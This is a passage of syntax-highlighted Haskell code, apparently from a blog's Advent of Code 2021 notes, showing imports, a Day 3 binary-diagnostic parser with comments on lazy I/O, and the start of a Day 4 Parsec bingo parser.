&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;BinaryDiagnostic.BinaryDiagnostic&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;BinaryDiagnostics&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#f92672"&gt;..&lt;/span&gt;&lt;span style="color:#111"&gt;),&lt;/span&gt; &lt;span style="color:#75af00"&gt;diagNums&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#75af00"&gt;diagWidth&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;Control.DeepSeq&lt;/span&gt; &lt;span style="color:#111"&gt;((&lt;/span&gt;&lt;span style="color:#f92672"&gt;$!!&lt;/span&gt;&lt;span style="color:#111"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;Data.Char&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;digitToInt&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#75af00"&gt;ord&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;Data.Maybe&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;isJust&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#75af00"&gt;listToMaybe&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;Data.String&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;IsString&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;fromString&lt;/span&gt;&lt;span style="color:#111"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;qualified&lt;/span&gt; &lt;span style="color:#111"&gt;Data.List.Split&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;as&lt;/span&gt; &lt;span style="color:#111"&gt;Split&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;qualified&lt;/span&gt; &lt;span style="color:#111"&gt;Data.Vector&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;as&lt;/span&gt; &lt;span style="color:#111"&gt;V&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;GiantSquid&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;Board&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;DrawnNumbers&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Tile&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;qualified&lt;/span&gt; &lt;span style="color:#111"&gt;HydrothermalVenture.HydrothermalVenture&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;as&lt;/span&gt; &lt;span style="color:#111"&gt;HV&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;LineSegment&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#f92672"&gt;..&lt;/span&gt;&lt;span style="color:#111"&gt;),&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Point&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#f92672"&gt;..&lt;/span&gt;&lt;span style="color:#111"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;Paths_advent_of_code_y2021&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;getDataFileName&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;System.IO&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;IOMode&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;ReadMode&lt;/span&gt;&lt;span style="color:#111"&gt;),&lt;/span&gt; &lt;span style="color:#75af00"&gt;hGetContents&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#75af00"&gt;withFile&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;Text.Parsec&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;endOfLine&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;Text.ParserCombinators.Parsec&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;Text.Read&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;readMaybe&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;qualified&lt;/span&gt; &lt;span style="color:#111"&gt;AoC2021.SevenSegmentSearch&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;as&lt;/span&gt; &lt;span style="color:#111"&gt;SevenSegmentSearch&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;SevenSegmentDisplay&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#f92672"&gt;..&lt;/span&gt;&lt;span style="color:#111"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;qualified&lt;/span&gt; &lt;span style="color:#111"&gt;Data.IntSet&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;as&lt;/span&gt; &lt;span style="color:#111"&gt;IntSet&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;qualified&lt;/span&gt; &lt;span style="color:#111"&gt;AoC2021.SmokeBasin&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;as&lt;/span&gt; &lt;span style="color:#111"&gt;SmokeBasin&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;HeightMap&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;qualified&lt;/span&gt; &lt;span style="color:#111"&gt;Data.Massiv.Array&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;as&lt;/span&gt; &lt;span style="color:#111"&gt;MassivArray&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;empty&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;fromLists&amp;#39;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;qualified&lt;/span&gt; &lt;span style="color:#111"&gt;Data.Massiv.Core&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;as&lt;/span&gt; &lt;span style="color:#111"&gt;MassivCore&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;Comp&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;Seq&lt;/span&gt;&lt;span style="color:#111"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="day-03-binary-diagnostic"&gt;Day 03: Binary Diagnostic&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-hs" data-lang="hs"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- The `Numeric` module has a `readBin` function [1], but for some reason, I get&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- a &amp;#34;Variable not in scope: readBin&amp;#34; error. However, `readDec`, `readOct` and&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- `readHex` work...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;--&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- [1]: https://hackage.haskell.org/package/base-4.16.0.0/docs/Numeric.html#v:readBin&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;readBin&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;String&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Int&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;readBin&amp;#39;&lt;/span&gt; &lt;span style="color:#111"&gt;binString&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;fst&lt;/span&gt; &lt;span style="color:#f92672"&gt;$&lt;/span&gt; &lt;span style="color:#111"&gt;foldr&lt;/span&gt; &lt;span style="color:#111"&gt;f&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#111"&gt;binString&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;where&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;f&lt;/span&gt; &lt;span style="color:#111"&gt;c&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;s&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;powerOf2&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;s&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#111"&gt;powerOf2&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#111"&gt;digitToInt&lt;/span&gt; &lt;span style="color:#111"&gt;c&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;powerOf2&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- The file is a list of binary digits of the same width, e.g.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;--&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- 00100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- 11110&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;parseBinaryDiagnosticInput&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;FilePath&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;IO&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;BinaryDiagnostics&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;parseBinaryDiagnosticInput&lt;/span&gt; &lt;span style="color:#111"&gt;fp&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;validatedFP&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;getDataFileName&lt;/span&gt; &lt;span style="color:#111"&gt;fp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;withFile&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;validatedFP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;ReadMode&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt; &lt;span style="color:#75af00"&gt;\&lt;/span&gt;&lt;span style="color:#111"&gt;h&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;s&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;hGetContents&lt;/span&gt; &lt;span style="color:#111"&gt;h&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;let&lt;/span&gt; &lt;span style="color:#111"&gt;ls&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;lines&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;fromString&lt;/span&gt; &lt;span style="color:#111"&gt;s&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;let&lt;/span&gt; &lt;span style="color:#111"&gt;width&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;maybe&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#111"&gt;length&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;listToMaybe&lt;/span&gt; &lt;span style="color:#111"&gt;ls&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- With lazy I/O, `h` gets closed as soon as we leave `withFile`. This&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- introduces errors of the form &amp;#34;hGetContents: illegal operation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- (delayed read on closed handle)&amp;#34;. [1]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;--&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- In the expression `f $!! x`, `x` is fully evaluated before `f` is&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- applied to it. [1] [2]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;--&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- Alternatively, one can use `readFile` which holds the file open until&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- it has finished reading the file [1]. However, [3] says that&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- `readFile` reads the file lazily. Hmm...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;--&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- [1]: https://stackoverflow.com/a/26949379/7812406&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- [2]: https://hackage.haskell.org/package/deepseq-1.4.6.1/docs/Control-DeepSeq.html#v:-36--33--33-&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- [3]: https://hackage.haskell.org/package/base-4.16.0.0/docs/html#v:readFile&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;return&lt;/span&gt; &lt;span style="color:#f92672"&gt;$!!&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;BinaryDiagnostics&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;&lt;span style="color:#111"&gt;diagWidth&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;width&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;diagNums&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;map&lt;/span&gt; &lt;span style="color:#111"&gt;readBin&amp;#39;&lt;/span&gt; &lt;span style="color:#111"&gt;ls&lt;/span&gt;&lt;span style="color:#111"&gt;})&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="day-04-giant-squid"&gt;Day 04: Giant Squid&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-hs" data-lang="hs"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- `endBy` expects the very last item to be followed by the separator. It&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- continues parsing until it can&amp;#39;t parse any more content. [1]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;--&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- TODO: Is it possible to define `bingoFile` as `endBy bingoSection doubleEOL`?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- The last double EOL is partly consumed by `bingoElementSeparator` that also&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- matches a new line.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;--&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- [1]: http://book.realworldhaskell.org/read/using-parsec.html&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;bingoFile&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Parser&lt;/span&gt; &lt;span style="color:#111"&gt;[[&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;String&lt;/span&gt;&lt;span style="color:#111"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;bingoFile&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;endBy&lt;/span&gt; &lt;span style="color:#111"&gt;bingoSection&lt;/span&gt; &lt;span style="color:#111"&gt;endOfLine&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- `sepBy` takes two functions as arguments. The first function parses some sort&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- of content, while the second function parses a separator. `sepBy` starts by&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- trying to parse content, then separators, and alternates back and forth until&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- it can&amp;#39;t parse a separator. It returns a list of all the content it was able&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- to parse. [1]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;--&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- [1]: http://book.realworldhaskell.org/read/using-parsec.html&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;bingoSection&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Parser&lt;/span&gt; &lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;String&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;bingoSection&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;sepBy&lt;/span&gt; &lt;span style="color:#111"&gt;bingoElement&lt;/span&gt; &lt;span style="color:#111"&gt;bingoElementSeparator&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;bingoElement&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Parser&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;String&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;bingoElement&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;many&lt;/span&gt; &lt;span style="color:#111"&gt;digit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;bingoElementSeparator&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Parser&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Char&lt;/span&gt;
